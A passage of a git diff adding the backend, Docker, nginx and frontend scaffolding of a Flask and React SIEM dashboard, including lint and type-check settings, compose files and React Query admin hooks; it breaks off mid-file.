Request to adjust scenario playback speed
"""
speed: float = Field(
ge = settings.SCENARIO_MIN_SPEED,
le = settings.SCENARIO_MAX_SPEED,
)

View File

@ -0,0 +1,70 @@
"""
©AngelaMos | 2026
fix_mypy.py
"""
import re
from pathlib import Path
def remove_unused_ignores(file_path: Path, lines_with_unused: list[int]) -> None:
"""Remove unused type: ignore comments from specific lines"""
with open(file_path) as f:
lines = f.readlines()
for line_num in lines_with_unused:
idx = line_num - 1
if idx < len(lines):
line = lines[idx]
line = re.sub(r' # type: ignore\[no-untyped-call\]', '', line)
line = re.sub(r' # type: ignore\[no-any-return\]', '', line)
line = re.sub(r' # type: ignore\[attr-defined\]', '', line)
line = re.sub(r' # type: ignore\[no-untyped-call, no-any-return\]', '', line)
line = re.sub(r' # type: ignore', '', line)
lines[idx] = line
with open(file_path, 'w') as f:
f.writelines(lines)
# Clean up User.py
remove_unused_ignores(
Path("app/models/User.py"),
[57, 64, 71, 78, 97, 109, 117, 127, 135, 142, 149, 155]
)
# Clean up ScenarioRun.py
remove_unused_ignores(
Path("app/models/ScenarioRun.py"),
[63, 71, 80, 81, 89, 97, 104, 111, 120, 127]
)
# Clean up LogEvent.py
remove_unused_ignores(
Path("app/models/LogEvent.py"),
[100, 113, 156, 163, 170, 217, 241, 280]
)
# Clean up CorrelationRule.py
remove_unused_ignores(
Path("app/models/CorrelationRule.py"),
[58]
)
# Clean up Alert.py
remove_unused_ignores(
Path("app/models/Alert.py"),
[88, 125, 132]
)
# Clean up scenario_ctrl.py
remove_unused_ignores(
Path("app/controllers/scenario_ctrl.py"),
[43, 53, 63, 74]
)
# Clean up rule_ctrl.py
remove_unused_ignores(
Path("app/controllers/rule_ctrl.py"),
[23, 48, 61, 70]
)
print("Removed unused type: ignore comments")

View File

@ -0,0 +1,269 @@
[project]
name = "siem-dashboard"
version = "0.1.0"
description = "Flask MongoDB SIEM Dashboard"
requires-python = ">3.14"
dependencies = [
"flask>=3.1.2",
"flask-cors>=6.0.2",
"mongoengine>=0.29.1",
"pydantic[email]>=2.12.5,<3.0.0",
"pydantic-settings>=2.12.0,<3.0.0",
"pyjwt>=2.11.0",
"pwdlib[argon2]>=0.3.0,<0.4.0",
"uuid6>=2025.0.1,<2026.0.0",
"redis>=7.1.0,<8.0.0",
"flask-limiter>=3.12,<4.0.0",
"structlog>=25.5.0,<26.0.0",
"pyyaml>=6.0.3",
"gunicorn>=25.0.3",
]
[project.optional-dependencies]
dev = [
"pytest>=9.0.2,<10.0.0",
"pytest-cov>=7.0.0,<8.0.0",
"mypy>=1.19.1",
"types-redis>=4.6.0.20241004,<5.0.0",
"types-flask-cors>=6.0.0.20250809",
"ruff>=0.15.0",
"ty>=0.0.15",
"pre-commit>=4.5.1",
"pylint>=4.0.4,<5.0.0",
"pylint-pydantic>=0.4.1,<0.5.0",
"pylint-per-file-ignores>=3.2.0,<4.0.0",
]
[build-system]
requires = [
"hatchling",
]
build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = [
"app",
]
[tool.ruff]
target-version = "py314"
line-length = 88
src = [
"app",
]
[tool.ruff.lint]
select = [
"E",
"W",
"F",
"B",
"C4",
"UP",
"ARG",
"SIM",
"PTH",
"RUF",
"S",
"N",
]
ignore = [
"E501",
"B008",
"S101",
"S104",
"S105",
"ARG001",
"E712",
"N999",
"N818",
"UP046",
"RUF005",
]
[tool.ruff.lint.per-file-ignores]
"tests/**/*.py" = [
"S101",
"ARG001",
]
"conftest.py" = [
"S107",
]
[tool.mypy]
python_version = "3.14"
strict = true
warn_return_any = true
warn_unused_ignores = false
disallow_untyped_defs = true
disallow_incomplete_defs = true
plugins = [
"pydantic.mypy",
]
[[tool.mypy.overrides]]
module = [
"tests.*",
"conftest",
]
ignore_errors = true
[[tool.mypy.overrides]]
module = [
"uuid6",
"structlog",
"structlog.*",
"flask_limiter",
"flask_limiter.*",
"pwdlib",
"mongoengine",
"mongoengine.*",
"yaml",
]
ignore_missing_imports = true
[[tool.mypy.overrides]]
module = [
"app.config",
]
implicit_reexport = true
[tool.pydantic-mypy]
init_forbid_extra = true
init_typed = true
warn_required_dynamic_aliases = true
[tool.pylint.main]
py-version = "3.14"
jobs = 4
load-plugins = [
"pylint_pydantic",
"pylint_per_file_ignores",
]
persistent = true
suggestion-mode = true
ignore = [
"venv",
".venv",
"__pycache__",
"build",
"dist",
".git",
".pytest_cache",
".mypy_cache",
".ruff_cache",
]
ignore-paths = [
"^venv/.*",
"^.venv/.*",
"^build/.*",
"^dist/.*",
]
[tool.pylint.messages_control]
disable = [
"C0103",
"C0116",
"C0121",
"C0301",
"C0302",
"C0303",
"C0304",
"C0305",
"C0411",
"E0401",
"E1102",
"E1136",
"R0801",
"R0901",
"R0903",
"R0917",
"W0611",
"W0612",
"W0613",
"W0621",
"W0622",
"W0718",
]
[tool.pylint.pylint-per-file-ignores]
"conftest.py" = "import-outside-toplevel"
[tool.pylint.format]
max-line-length = 95
[tool.pylint.design]
max-args = 12
max-attributes = 10
max-branches = 15
max-locals = 20
max-statements = 55
[tool.pytest.ini_options]
testpaths = [
"tests",
]
addopts = "-ra -q"
filterwarnings = [
"ignore::DeprecationWarning",
]
[tool.coverage.run]
branch = true
source = [
"app",
]
[tool.coverage.report]
exclude_lines = [
"pragma: no cover",
"if TYPE_CHECKING:",
"raise NotImplementedError",
]
[tool.ty.src]
include = [
"app",
"tests",
]
exclude = [
".venv/**",
]
respect-ignore-files = true
[tool.ty.environment]
python-version = "3.12"
root = [
"./app",
]
python = "./.venv"
[tool.ty.rules]
possibly-missing-attribute = "error"
possibly-missing-import = "error"
unused-ignore-comment = "warn"
redundant-cast = "warn"
undefined-reveal = "warn"
[[tool.ty.overrides]]
include = [
"tests/**",
]
[tool.ty.overrides.rules]
unresolved-reference = "warn"
invalid-argument-type = "warn"
[[tool.ty.overrides]]
include = [
"app/controllers/**",
"app/engine/**",
"app/scenarios/**",
]
[tool.ty.overrides.rules]
unresolved-attribute = "warn"
[tool.ty.terminal]
error-on-warning = false
output-format = "full"

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,9 @@
"""
©AngelaMos | 2026
wsgi.py
"""
from app import create_app
app = create_app()

View File

@ -0,0 +1,22 @@
# ©AngelaMos | 2026
# cloudflared.compose.yml
services:
cloudflared:
image: cloudflare/cloudflared:latest
container_name: ${APP_NAME:-siem}-tunnel
command: tunnel run --token ${CLOUDFLARE_TUNNEL_TOKEN}
networks:
- backend
depends_on:
nginx:
condition: service_started
deploy:
resources:
limits:
cpus: '0.5'
memory: 128M
reservations:
cpus: '0.1'
memory: 32M
restart: unless-stopped

View File

@ -0,0 +1,129 @@
# ©AngelaMos | 2026
# compose.yml
name: ${APP_NAME:-siem}
services:
nginx:
build:
context: .
dockerfile: conf/docker/prod/vite.docker
container_name: ${APP_NAME:-siem}-nginx
ports:
- "${NGINX_HOST_PORT:-8431}:80"
volumes:
- ./conf/nginx/nginx.prod.conf:/etc/nginx/nginx.conf:ro
- ./conf/nginx/prod.nginx:/etc/nginx/conf.d/default.conf:ro
depends_on:
backend:
condition: service_healthy
networks:
- frontend
- backend
deploy:
resources:
limits:
cpus: '1.0'
memory: 256M
reservations:
cpus: '0.25'
memory: 64M
restart: unless-stopped
backend:
build:
context: .
dockerfile: conf/docker/prod/flask.docker
container_name: ${APP_NAME:-siem}-backend
expose:
- "5000"
env_file:
- .env
environment:
- MONGO_URI=mongodb://mongo:27017/${MONGO_DB:-siem}
- REDIS_URL=redis://:${REDIS_PASSWORD}@redis:6379/0
- DEBUG=false
depends_on:
mongo:
condition: service_healthy
redis:
condition: service_healthy
networks:
- backend
deploy:
resources:
limits:
cpus: '2.0'
memory: 1G
reservations:
cpus: '0.5'
memory: 256M
healthcheck:
test: ["CMD", "curl", "-sf", "http://localhost:5000/health"]
interval: 30s
timeout: 5s
retries: 3
start_period: 40s
restart: unless-stopped
mongo:
image: mongo:8.0
container_name: ${APP_NAME:-siem}-mongo
volumes:
- mongo_data:/data/db
networks:
- backend
deploy:
resources:
limits:
cpus: '1.0'
memory: 512M
reservations:
cpus: '0.25'
memory: 128M
healthcheck:
test: ["CMD", "mongosh", "--eval", "db.adminCommand('ping')"]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
restart: unless-stopped
redis:
image: redis:7-alpine
container_name: ${APP_NAME:-siem}-redis
volumes:
- redis_data:/data
command: redis-server --appendonly yes ${REDIS_PASSWORD:+--requirepass ${REDIS_PASSWORD}}
networks:
- backend
deploy:
resources:
limits:
cpus: '0.5'
memory: 256M
reservations:
cpus: '0.1'
memory: 64M
healthcheck:
test: ["CMD-SHELL", "redis-cli ${REDIS_PASSWORD:+-a ${REDIS_PASSWORD}} ping"]
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
networks:
frontend:
driver: bridge
ipam:
config:
- subnet: 10.202.83.0/24
backend:
driver: bridge
ipam:
config:
- subnet: 10.202.84.0/24
volumes:
mongo_data:
redis_data:

View File

@ -0,0 +1,26 @@
# ©AngelaMos | 2026
# flask.docker
FROM python:3.14-slim
ENV PYTHONUNBUFFERED=1 \
PYTHONDONTWRITEBYTECODE=1 \
UV_SYSTEM_PYTHON=1
WORKDIR /app
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
&& rm -rf /var/lib/apt/lists/*
RUN pip install uv
COPY backend/pyproject.toml .
RUN uv pip install -e ".[dev]"
COPY backend/ .
EXPOSE 5000
CMD ["flask", "run", "--host", "0.0.0.0", "--port", "5000", "--reload"]

View File

@ -0,0 +1,14 @@
# ©AngelaMos | 2026
# vite.docker
FROM node:24-alpine
RUN corepack enable && corepack prepare pnpm@latest --activate
WORKDIR /app
ENV CI=true
EXPOSE 5173
CMD ["sh", "-c", "pnpm install && pnpm dev --host 0.0.0.0"]

View File

@ -0,0 +1,33 @@
# ©AngelaMos | 2026
# flask.docker
FROM python:3.14-slim
ENV PYTHONUNBUFFERED=1 \
PYTHONDONTWRITEBYTECODE=1 \
UV_SYSTEM_PYTHON=1
WORKDIR /app
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
&& rm -rf /var/lib/apt/lists/*
RUN pip install uv
COPY backend/pyproject.toml .
RUN uv pip install .
COPY backend/ .
RUN useradd -m -u 1000 appuser && chown -R appuser:appuser /app
USER appuser
EXPOSE 5000
CMD ["gunicorn", "wsgi:app", \
"--workers", "4", \
"--bind", "0.0.0.0:5000", \
"--access-logfile", "-", \
"--error-logfile", "-"]

View File

@ -0,0 +1,25 @@
# ©AngelaMos | 2026
# vite.docker
FROM node:24-alpine AS build
RUN corepack enable && corepack prepare pnpm@latest --activate
WORKDIR /app
COPY frontend/package.json frontend/pnpm-lock.yaml* ./
RUN pnpm install --frozen-lockfile || pnpm install
COPY frontend/ .
RUN pnpm build
FROM nginx:alpine
COPY conf/nginx/prod.nginx /etc/nginx/conf.d/default.conf
COPY --from=build /app/dist /usr/share/nginx/html
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

View File

@ -0,0 +1,69 @@
# ©AngelaMos | 2026
# dev.nginx
server {
listen 80;
listen [::]:80;
server_name _;
access_log /var/log/nginx/access.log main_timed;
error_log /var/log/nginx/error.log debug;
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
location /health {
access_log off;
return 200 "1";
add_header Content-Type text/plain;
}
location ~ ^/api(/v1/(logs|alerts)/stream.*) {
rewrite ^/api(/.*)$ $1 break;
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering off;
proxy_cache off;
proxy_read_timeout 3600s;
proxy_send_timeout 3600s;
chunked_transfer_encoding off;
}
location /api/ {
limit_req zone=api_limit burst=50 nodelay;
limit_conn conn_limit 20;
proxy_pass http://backend/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering off;
proxy_request_buffering off;
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
}
location / {
proxy_pass http://frontend_dev;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_read_timeout 60s;
proxy_buffering off;
}
}

View File

@ -0,0 +1,82 @@
# ©AngelaMos | 2026
# nginx.conf
worker_processes auto;
worker_rlimit_nofile 65535;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 4096;
multi_accept on;
use epoll;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
upstream backend {
server backend:5000 max_fails=3 fail_timeout=30s;
keepalive 32;
keepalive_requests 1000;
keepalive_timeout 60s;
}
upstream frontend_dev {
server frontend:5173;
keepalive 8;
}
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=auth_limit:10m rate=3r/s;
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
limit_req_status 429;
log_format main_timed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'rt=$request_time uct="$upstream_connect_time" '
'uht="$upstream_header_time" urt="$upstream_response_time"';
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
client_body_buffer_size 128k;
client_header_buffer_size 16k;
client_max_body_size 10m;
large_client_header_buffers 4 16k;
client_body_timeout 12s;
client_header_timeout 12s;
send_timeout 10s;
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 6;
gzip_min_length 256;
gzip_types
text/plain
text/css
text/xml
text/javascript
application/json
application/javascript
application/xml+rss
application/atom+xml
image/svg+xml;
gzip_disable "msie6";
include /etc/nginx/conf.d/*.conf;
}

View File

@ -0,0 +1,72 @@
# ©AngelaMos | 2026
# nginx.prod.conf
worker_processes auto;
worker_rlimit_nofile 65535;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 4096;
multi_accept on;
use epoll;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
upstream backend {
server backend:5000 max_fails=3 fail_timeout=30s;
keepalive 32;
keepalive_requests 1000;
keepalive_timeout 60s;
}
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=auth_limit:10m rate=3r/s;
limit_conn_zone $binary_remote_addr zone=conn_limit:10m;
limit_req_status 429;
log_format main_timed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'rt=$request_time uct="$upstream_connect_time" '
'uht="$upstream_header_time" urt="$upstream_response_time"';
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
client_body_buffer_size 128k;
client_header_buffer_size 16k;
client_max_body_size 10m;
large_client_header_buffers 4 16k;
client_body_timeout 12s;
client_header_timeout 12s;
send_timeout 10s;
gzip on;
gzip_vary on;
gzip_proxied any;
gzip_comp_level 6;
gzip_min_length 256;
gzip_types
text/plain
text/css
text/xml
text/javascript
application/json
application/javascript
application/xml+rss
application/atom+xml
image/svg+xml;
gzip_disable "msie6";
include /etc/nginx/conf.d/*.conf;
}

View File

@ -0,0 +1,88 @@
# ©AngelaMos | 2026
# prod.nginx
server {
listen 80;
listen [::]:80;
server_name _;
root /usr/share/nginx/html;
index index.html;
access_log /var/log/nginx/access.log main_timed buffer=32k flush=5s;
error_log /var/log/nginx/error.log warn;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
location /health {
access_log off;
return 200 "1";
add_header Content-Type text/plain;
}
location ~ ^/api(/v1/(logs|alerts)/stream.*) {
rewrite ^/api(/.*)$ $1 break;
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering off;
proxy_cache off;
proxy_read_timeout 3600s;
proxy_send_timeout 3600s;
chunked_transfer_encoding off;
}
location /api/ {
limit_req zone=api_limit burst=20 nodelay;
limit_conn conn_limit 50;
proxy_pass http://backend/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering on;
proxy_buffers 8 32k;
proxy_buffer_size 4k;
proxy_connect_timeout 60s;
proxy_send_timeout 30s;
proxy_read_timeout 30s;
}
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable";
access_log off;
try_files $uri =404;
}
location ~* \.(jpg|jpeg|png|gif|ico|svg|webp|avif|woff|woff2|ttf|eot|otf)$ {
expires 1y;
add_header Cache-Control "public, immutable";
access_log off;
}
location / {
add_header Cache-Control "no-cache, must-revalidate";
try_files $uri $uri/ /index.html;
}
location ~ /\. {
deny all;
access_log off;
log_not_found off;
}
}

View File

@ -0,0 +1,119 @@
# ©AngelaMos | 2026
# dev.compose.yml
name: ${APP_NAME:-siem}-dev
services:
nginx:
image: nginx:1.27-alpine
container_name: ${APP_NAME:-siem}-nginx-dev
ports:
- "${NGINX_HOST_PORT:-8431}:80"
volumes:
- ./conf/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
- ./conf/nginx/dev.nginx:/etc/nginx/conf.d/default.conf:ro
depends_on:
backend:
condition: service_healthy
frontend:
condition: service_started
networks:
- frontend
- backend
restart: unless-stopped
backend:
build:
context: .
dockerfile: conf/docker/dev/flask.docker
container_name: ${APP_NAME:-siem}-backend-dev
ports:
- "${BACKEND_HOST_PORT:-5113}:5000"
volumes:
- ./backend:/app
env_file:
- .env
environment:
- FLASK_APP=wsgi:app
- FLASK_DEBUG=1
- MONGO_URI=mongodb://mongo:27017/${MONGO_DB:-siem}
- REDIS_URL=redis://redis:6379/0
depends_on:
mongo:
condition: service_healthy
redis:
condition: service_healthy
networks:
- backend
healthcheck:
test: ["CMD", "curl", "-sf", "http://localhost:5000/health"]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
restart: unless-stopped
frontend:
build:
context: .
dockerfile: conf/docker/dev/vite.docker
container_name: ${APP_NAME:-siem}-frontend-dev
ports:
- "${FRONTEND_HOST_PORT:-3959}:5173"
volumes:
- ./frontend:/app
environment:
- VITE_API_URL=${VITE_API_URL:-/api}
networks:
- frontend
restart: unless-stopped
mongo:
image: mongo:8.0
container_name: ${APP_NAME:-siem}-mongo-dev
ports:
- "${MONGO_HOST_PORT:-8654}:27017"
volumes:
- mongo_data:/data/db
networks:
- backend
healthcheck:
test: ["CMD", "mongosh", "--eval", "db.adminCommand('ping')"]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
restart: unless-stopped
redis:
image: redis:7-alpine
container_name: ${APP_NAME:-siem}-redis-dev
ports:
- "${REDIS_HOST_PORT:-6266}:6379"
volumes:
- redis_data:/data
command: redis-server --appendonly yes
networks:
- backend
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
networks:
frontend:
driver: bridge
ipam:
config:
- subnet: 10.201.71.0/24
backend:
driver: bridge
ipam:
config:
- subnet: 10.201.72.0/24
volumes:
mongo_data:
redis_data:

Binary file not shown.

After

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 125 KiB

View File

@ -0,0 +1,18 @@
# ©AngelaMos | 2026
# .gitignore
.env
__pycache__/
*.pyc
.venv/
*.egg-info/
dist/
build/
.mypy_cache/
.ruff_cache/
.pytest_cache/
node_modules/
frontend/dist/
.DS_Store
/frontend/.pnpm-store
.pnpm-store

View File

@ -0,0 +1,22 @@
# ©AngelaMos | 2025
# .stylelintignore
# Dependencies
node_modules/
# Production builds
dist/
build/
out/
# JS/TS files
**/*.js
**/*.jsx
**/*.ts
**/*.tsx
# Generated files
*.min.css
# Error system styles - ignore from linting
src/core/app/_toastStyles.scss

View File

@ -0,0 +1,94 @@
{
"$schema": "https://biomejs.dev/schemas/2.3.14/schema.json",
"vcs": {
"enabled": true,
"clientKind": "git",
"useIgnoreFile": true
},
"files": {
"includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"]
},
"formatter": {
"enabled": true,
"indentStyle": "space",
"indentWidth": 2,
"lineWidth": 82,
"lineEnding": "lf"
},
"javascript": {
"formatter": {
"quoteStyle": "single",
"jsxQuoteStyle": "double",
"semicolons": "asNeeded",
"trailingCommas": "es5",
"arrowParentheses": "always"
}
},
"linter": {
"enabled": true,
"rules": {
"recommended": true,
"complexity": {
"noExcessiveCognitiveComplexity": {
"level": "error",
"options": { "maxAllowedComplexity": 25 }
},
"noForEach": "off",
"useLiteralKeys": "off"
},
"correctness": {
"noUnusedVariables": "error",
"noUnusedImports": "error",
"useExhaustiveDependencies": "warn",
"useHookAtTopLevel": "error",
"noUndeclaredVariables": "error"
},
"style": {
"useImportType": "error",
"useConst": "error",
"useTemplate": "error",
"useSelfClosingElements": "error",
"useFragmentSyntax": "error",
"noNonNullAssertion": "error",
"useConsistentArrayType": {
"level": "error",
"options": { "syntax": "shorthand" }
},
"useNamingConvention": "off"
},
"suspicious": {
"noExplicitAny": "error",
"noDebugger": "error",
"noConsole": "warn",
"noArrayIndexKey": "off",
"noAssignInExpressions": "error",
"noDoubleEquals": "error",
"noRedeclare": "error",
"noVar": "error"
},
"security": {
"noDangerouslySetInnerHtml": "error"
},
"a11y": {
"useAltText": "error",
"useAnchorContent": "error",
"useKeyWithClickEvents": "error",
"noStaticElementInteractions": "error",
"useButtonType": "error",
"useValidAnchor": "error"
}
}
},
"overrides": [
{
"includes": ["src/main.tsx"],
"linter": {
"rules": {
"style": {
"noNonNullAssertion": "off"
}
}
}
}
]
}

View File

@ -0,0 +1,48 @@
<!doctype html>
<html lang="en">
<head>
<!--
SIEM Dashboard
Author(s): © AngelaMos
-->
<meta charset="UTF-8" />
<link
rel="icon"
type="image/x-icon"
href="/assets/favicon.ico"
/>
<link
rel="apple-touch-icon"
type="image/png"
href="/assets/apple-touch-icon.png"
/>
<link
rel="manifest"
href="/assets/site.webmanifest"
/>
<meta
name="viewport"
content="width=device-width, initial-scale=1.0"
/>
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:; font-src 'self'; connect-src 'self' github.com api.github.com ws: wss: webpack:; form-action 'self' github.com; worker-src 'self' blob:;"
/>
<title>SIEM Dashboard</title>
<meta
name="description"
content="*Cracked*"
/>
<meta
name="author"
content="Security Information and Event Management Dashboard"
/>
</head>
<body>
<div id="root"></div>
<script
type="module"
src="/src/main.tsx"
></script>
</body>
</html>

View File

@ -0,0 +1,61 @@
{
"name": "siem-dashboard",
"private": true,
"version": "1.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "tsc -b && vite build",
"preview": "vite preview",
"lint": "biome check .",
"lint:fix": "biome check --write .",
"format": "biome format --write .",
"typecheck": "tsc -b",
"lint:scss": "stylelint '**/*.scss'",
"lint:scss:fix": "stylelint '**/*.scss' --fix"
},
"dependencies": {
"@tanstack/react-query": "^5.90.20",
"@visx/curve": "^3.12.0",
"@visx/group": "^3.12.0",
"@visx/responsive": "^3.12.0",
"@visx/shape": "^3.12.0",
"@visx/xychart": "^3.12.0",
"axios": "^1.13.5",
"react": "^19.2.4",
"react-dom": "^19.2.4",
"react-error-boundary": "^6.1.0",
"react-icons": "^5.5.0",
"react-router-dom": "^7.13.0",
"sonner": "^2.0.7",
"zod": "^4.3.6",
"zustand": "^5.0.11"
},
"devDependencies": {
"@biomejs/biome": "^2.3.14",
"@biomejs/cli-linux-x64": "^2.3.14",
"@tanstack/react-query-devtools": "^5.91.3",
"@types/node": "^25.2.2",
"@types/react": "^19.2.13",
"@types/react-dom": "^19.2.3",
"@vitejs/plugin-react": "^5.1.3",
"sass": "^1.97.3",
"stylelint": "^17.1.1",
"stylelint-config-prettier-scss": "^1.0.0",
"stylelint-config-standard-scss": "^17.0.0",
"typescript": "~5.9.3",
"vite": "npm:rolldown-vite@7.3.1",
"vite-tsconfig-paths": "^6.1.0"
},
"pnpm": {
"overrides": {
"vite": "npm:rolldown-vite@7.2.5"
},
"peerDependencyRules": {
"allowAny": [
"react",
"react-dom"
]
}
}
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 532 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

View File

@ -0,0 +1 @@
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}

View File

@ -0,0 +1,34 @@
// ===================
// ©AngelaMos | 2026
// App.tsx
// ===================
import { QueryClientProvider } from '@tanstack/react-query'
import { ReactQueryDevtools } from '@tanstack/react-query-devtools'
import { RouterProvider } from 'react-router-dom'
import { Toaster } from 'sonner'
import { router } from '@/core/app/router'
import { queryClient } from '@/core/lib'
export default function App(): React.ReactElement {
return (
<QueryClientProvider client={queryClient}>
<div className="app">
<RouterProvider router={router} />
<Toaster
position="top-right"
duration={2000}
theme="dark"
toastOptions={{
style: {
background: 'hsl(0, 0%, 12.2%)',
border: '1px solid hsl(0, 0%, 18%)',
color: 'hsl(0, 0%, 98%)',
},
}}
/>
</div>
<ReactQueryDevtools initialIsOpen={false} />
</QueryClientProvider>
)
}

View File

@ -0,0 +1,13 @@
// ===================
// ©AngelaMos | 2026
// index.ts
// ===================
export * from './useAdmin'
export * from './useAlerts'
export * from './useAuth'
export * from './useDashboard'
export * from './useEventStream'
export * from './useLogs'
export * from './useRules'
export * from './useScenarios'

View File

@ -0,0 +1,159 @@
// ===================
// ©AngelaMos | 2026
// useAdmin.ts
// ===================
import {
type UseMutationResult,
type UseQueryResult,
useMutation,
useQuery,
useQueryClient,
} from '@tanstack/react-query'
import { toast } from 'sonner'
import type {
AdminUpdateRoleRequest,
AdminUserListParams,
DeleteResponse,
PaginatedResponse,
UserResponse,
} from '@/api/types'
import { ADMIN_SUCCESS_MESSAGES } from '@/api/types/admin.types'
import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config'
import { apiClient } from '@/core/lib'
export const adminQueries = {
all: () => QUERY_KEYS.ADMIN.ALL,
users: (page: number, size: number) => QUERY_KEYS.ADMIN.USERS(page, size),
userById: (id: string) => QUERY_KEYS.ADMIN.USER_BY_ID(id),
} as const
export const useAdminUsers = (
params: AdminUserListParams = {}
): UseQueryResult<PaginatedResponse<UserResponse>, Error> => {
const page = params.page ?? PAGINATION.DEFAULT_PAGE
const perPage = params.per_page ?? PAGINATION.DEFAULT_SIZE
return useQuery({
queryKey: adminQueries.users(page, perPage),
queryFn: async () => {
const response = await apiClient.get<PaginatedResponse<UserResponse>>(
API_ENDPOINTS.ADMIN.USERS,
{ params }
)
return response.data
},
})
}
export const useAdminUser = (
userId: string
): UseQueryResult<UserResponse, Error> => {
return useQuery({
queryKey: adminQueries.userById(userId),
queryFn: async () => {
const response = await apiClient.get<UserResponse>(
API_ENDPOINTS.ADMIN.USER_BY_ID(userId)
)
return response.data
},
enabled: userId.length > 0,
})
}
export const useAdminUpdateRole = (): UseMutationResult<
UserResponse,
Error,
{ userId: string; payload: AdminUpdateRoleRequest }
> => {
const queryClient = useQueryClient()
return useMutation({
mutationFn: async ({ userId, payload }) => {
const response = await apiClient.patch<UserResponse>(
API_ENDPOINTS.ADMIN.USER_ROLE(userId),
payload
)
return response.data
},
onSuccess: (data: UserResponse): void => {
queryClient.invalidateQueries({ queryKey: adminQueries.all() })
toast.success(ADMIN_SUCCESS_MESSAGES.ROLE_UPDATED(data.username, data.role))
},
onError: (error: Error): void => {
toast.error(error.message)
},
})
}
export const useAdminDeactivateUser = (): UseMutationResult<
UserResponse,
Error,
string
> => {
const queryClient = useQueryClient()
return useMutation({
mutationFn: async (userId: string) => {
const response = await apiClient.post<UserResponse>(
API_ENDPOINTS.ADMIN.DEACTIVATE(userId)
)
return response.data
},
onSuccess: (data: UserResponse): void => {
queryClient.invalidateQueries({ queryKey: adminQueries.all() })
toast.success(ADMIN_SUCCESS_MESSAGES.USER_DEACTIVATED(data.username))
},
onError: (error: Error): void => {
toast.error(error.message)
},
})
}
export const useAdminActivateUser = (): UseMutationResult<
UserResponse,
Error,
string
